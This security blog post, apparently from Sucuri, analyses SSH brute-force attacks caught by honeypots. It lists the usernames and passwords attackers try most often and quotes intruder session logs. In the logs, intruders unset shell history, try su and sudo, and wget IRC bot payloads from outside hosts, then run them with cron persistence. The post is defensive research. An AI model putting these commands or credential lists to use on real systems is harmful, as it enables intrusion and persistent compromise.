SSH Brute Force – The 10 Year Old Attack That Still Persists

One of the first server-level compromises I had to deal with in my life was around 12 ago, and it was caused by a SSH brute force attack. A co-worker set up a test server and chose a very weak root password for it. A few days later, the box was owned running IRC bots and trying to compromise the rest of the network.

That was just the first of many server-level compromises caused by SSH brute force attacks that I would end up responding to, and even after more than 10 years, quite a few of the server remediations that we do here at Sucuri are actually caused by the same thing.

Attackers just need 1 user with a weak password to get in. It doesn’t need to be root, since they can find manyways around that to increase their privileges. Even with the latest round of Apache module injections (Darkleech/CDORK) we suspect that one of the ways they get into the servers is by stolen passwords.

Because SSH brute force attaacks are so popular, we have been tracking them for a long time. And by a long time, we really mean it. Just in blog posts, We wrote a blog post in 2010 and even one in 2006 before Sucuri was even born. We have had honeypots running just as long watching and learning from these attacks.

Our Honeypots

We track these attacks via our high interaction honeypots. We get a clean server and install a modified SSHD version that logs all login attempts (including passwords) and stores all sessions. Once it gets hacked we can see all that was done along with the passwords attempted.

The attacks from 10 years ago are still very similar from the ones we see now, with one difference. 10 years ago it would take weeks after putting a server live for it to start being scanned. Right now and for the last couple of years, if we put a new server live, within hours, it starts to be scanned.

Last 7 days of scans – Analysis

By just going back 7 days and looking at our logs, we can see 15,000 attacks against it. The top username is still root (with more than 50% of the scans):

#attempts #username
   9012  root (58%)
    179  test (1%)
    116  oracle (< 1%)
     87  admin
     82  info
     70  user
     69  postgres
     68  mysql
     68  backup
     55  guest
     49  web
     49  tomcat
     46  michael
     45  r00t
     43  upload
     42  alex
     41  sales
     40  linux
     39  bin
     38  ftp
     35  support
     34  temp
     33  nagios
     31  user1
     30  www
     30  test1
     30  nobody

The top passwords are still very similar to what we reported a few years ago:

    365  123456 (2%)
    201  password (1%)
    114  12345 (<1%)
    105  1234
     92  root
     92  123
     84  qwerty
     76  test
     75  1q2w3e4r
     72  1qaz2wsx
     66  qazwsx
     65  123qwe
     58  12
     55  123qaz
     55  0000
     52  oracle
     50  1234567
     47  123456qwerty
     45  password123
     44  12345678
     41  1q2w3e
     40  abc123
     38  okmnji
     34  test123
     32  123456789
     31  postgres
     30  q1w2e3r4
     28  redhat
     27  user
     26  mysql
     24  apache

The full list is here if you are curious of the combinations they try. If you are using a password that is in there, please change it ASAP.

What they do after they get in

This is a very common question. What do the attackers do they after they find a password that works and get in?

    1. Nothing much! Well, at least not for a few days. They just get in and then get out.
    2. After a few days, they log in and change the password to a more secure one. So nobody else can "steal" what is theirs now. This is the session dump:
Last login: Wed Jul 10 23:05:35 2013 from otherserver.de
oracle@HONEYPOT:~]$
oracle@HONEYPOT ~]$ passwd
Changing password for user oracle.
Changing password for oracle.
(current) UNIX password: 
New password: 
Retype new password: 
passwd: all authentication tokens updated successfully.
oracle@HONEYPOT:~]$ logout

Note that HONEYPOT is not what the attackers really see. They see fake hostname with a fake site on the server. In this case, they guessed the "oracle" user password.

  1. Once they are in and the password is changed, they will try to increase their privileges to root. This is what they did when they got in as "oracle":
    [oracle@HONEYPOT ~]$ w
     23:46:08 up 4 days,  4:58,  1 user,  load average: 0.00, 0.01, 0.05
    USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
    oracle   pts/1    111.90.151.149   23:45    0.00s  0.02s  0.00s w
    
    [oracle@HONEYPOT ~]$ ls -all
    total 20
    drwx------ 2 oracle oracle 4096 Jul  8 14:50 
    -rw-r--r-- 1 oracle oracle   18 Dec  2  2011 .bash_logout
    -rw-r--r-- 1 oracle oracle  176 Dec  2  2011 .bash_profile
    -rw-r--r-- 1 oracle oracle  124 Dec  2  2011 .bashrc
    [oracle@HONEYPOT ~]$ su 
    sudo su
    We trust you have received the usual lecture from the local System
    Administrator. It usually boils down to these three things:
        #1) Respect the privacy of others.
        #2) Think before you type.
        #3) With great power comes great responsibility.
    [sudo] password for oracle: 
    oracle is not in the sudoers file.  This incident will be reported.
    oracle@HONEYPOT:~
    [oracle@HONEYPOT ~]$ su
    Password: 
    su: incorrect password
    [oracle@HONEYPOT ~]$ cd /tmp
    [oracle@HONEYPOT tmp]$ mkdir ' '
    [oracle@HONEYPOT:/tmp
    [oracle@HONEYPOT tmp]$ cd ' '
    [oracle@HONEYPOT:/tmp/ 
    [oracle@HONEYPOT  ]$ wget ftp://dmitri:123123@200.63.46.99/mech.tgz
    --2013-07-09 23:48:01--  ftp://dmitri:*password*@200.63.46.99/mech.tgz
    ..
    Logging in as dmitri ... 
    Connecting to 200.63.46.99:21... connected.
    Logging in as dmitri ... Logged in!
    ==> SYST ... done.    ==> PWD ... done.
    ==> TYPE I ... done.  ==> CWD not needed.
    ==> SIZE mech.tgz ... 374664
    ==> PASV ... done.    ==> RETR mech.tgz ... done.
        [<=>                                    ] 0           --.-K/s              
    
    [oracle@HONEYPOT  ]$ tar xzvf mech.tgz 
    webmail/
    ..
    webmail/run
    [oracle@HONEYPOT  ]$ cd webmail/
    [oracle@HONEYPOT webmail]$ ./start sunacai
    ######Multi Emech on Undernet######
    #####      bil TheDemon       #####
    %%%%%%%% 
     Undernet !!!    %%%%%%
    Am gasit 1 ip-uri
    SERVER Montreal.QC.CA.Undernet.org 7000
    
    [oracle@HONEYPOT webmail]$ w
     23:49:27 up 4 days,  5:02,  1 user,  load average: 0.07, 0.03, 0.05
    USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
    oracle   pts/1    111.90.151.149   23:45    7.00s  0.05s  0.00s w
    [oracle@HONEYPOT webmail]$ logout
    

    You can see they tried to "su" (become root) and then launched an IRC bot, the same as 10 years ago. This is another example when they compromised the user "guest":

    Last login: Fri Jul 12 20:21:45 2013 from 223.4.147.8
    [?1034h[guest@HONEYPOT ~]$ unset HISTFILE
    [guest@HONEYPOT ~]$ unset HISTSAVE
    [guest@HONEYPOT ~]$ w
     15:45:40 up 7 days, 20:58,  1 user,  load average: 0.00, 0.01, 0.05
    USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
    guest    pts/1    82.137.10.219    15:45    4.00s  0.02s  0.00s w
    [guest@HONEYPOT ~]$ passwd
    Changing password for user guest.
    Changing password for guest.
    (current) UNIX password: 
    New password: 
    Retype new password: 
    passwd: all authentication tokens updated successfully.
    [guest@HONEYPOT ~]$ uname -a
    Linux HONEYPOT REMOVED..
    [guest@HONEYPOT ~]$ sudo su
    We trust you have received the usual lecture from the local System
    Administrator. It usually boils down to these three things:
        #1) Respect the privacy of others.
        #2) Think before you type.
        #3) With great power comes great responsibility.
    [sudo] password for guest: 
    guest is not in the sudoers file.  This incident will be reported.
    
    
    [guest@HONEYPOT ~]$ mkdir " "
    [guest@HONEYPOT ~]$ cd " "
    [guest@HONEYPOT  ]$ wget eduteam.orgfree.com/mech.gz;tar zxvf mech.gz;rm -rf me
    ch.gz;cd .bot
    
    * * * * * /home/guest/ /.bot/update >/dev/null 2>&1
    ./run: ./crond: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory
    [guest@HONEYPOT .bot]$ cd .
    [guest@HONEYPOT .bot]$ cd ..
    [guest@HONEYPOT  ]$ rm -rf bot
    [guest@HONEYPOT  ]$ rm -rf .bot
    [guest@HONEYPOT  ]$ wget eduteam.orgfree.com/64mcc.tgz;tar zxvf 64mcc.tgz;rm -r
    f 64mcc.tgz;cd 64mcc
    --2013-07-14 09:48:11--  https://eduteam.orgfree.com/64mcc.tgz
    Resolving eduteam.orgfree.com... 78.47.28.69
    Connecting to eduteam.orgfree.com|78.47.28.69|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    ..
    
    [guest@HONEYPOT 64mcc]$ ./start horo
    =====>Tase<=====
    ++++++ *Asta e o arhiva privata*  ++++++++
    Am gasit 1 ip-uri
    Gata
    * * * * * /home/guest/ /64mcc/update >/dev/null 2>&1
    EnergyMech 2.8.5, December 30th, 2002
    Compiled on Dec 30 2002 10:21:24
    Features: LNK, TEL, PIP, DYN, NEW, ALS, WIN, SEF
    init: Mech(s) added [ maurice ]
    init: EnergyMech running...
    

    They unset their history file so bash_history doesn't show anything, tried to get root by using sudo/su and when it failed, they downloaded an IRC bot and left. This is pretty much the first steps they take. They are often patient and will come back many times and try to use exploits to get root.

    Conclusion

    SSH Brute force attacks are here to stay. As long as people use weak passwords, the bad guys will be trying to brute force them. Not only for SSH, but we often see brute forces via FTP or to admin panels (Plesk, WordPress, Joomla, cPanel, etc).

    As for protecting your self against these, the first option is to use SSH keys (and disable password authentication). If you can't do that for whatever reason, make sure to use strong and good passwords. We also recommend whitelisting which IP addresses can login to the server and block everyone else out. For a reactive measure, we recommend using OSSEC (open source IDS) to block those attacks if you can't use white listing

  • 132 Users Found This Useful
Was this answer helpful?

Related Articles

How Do I Clear My Web Browser's Cache?

Each time you access a file through your web browser, it is cached (stored). In this way, certain...

How to Upload a File using the File Manager

You can upload your files directly through cPanel using the File Manager. File Manager is a web...

How to Find the URL of a File

If you want to share a web file with friends or the public, you first need to determine the...

Video tutorials not playing

In some cases our Video Tutorials are not playing or loading after displaying the SiveHost...

My Site is Slow

You have attempted to load your site and it appears to be running slow. Now what? We understand...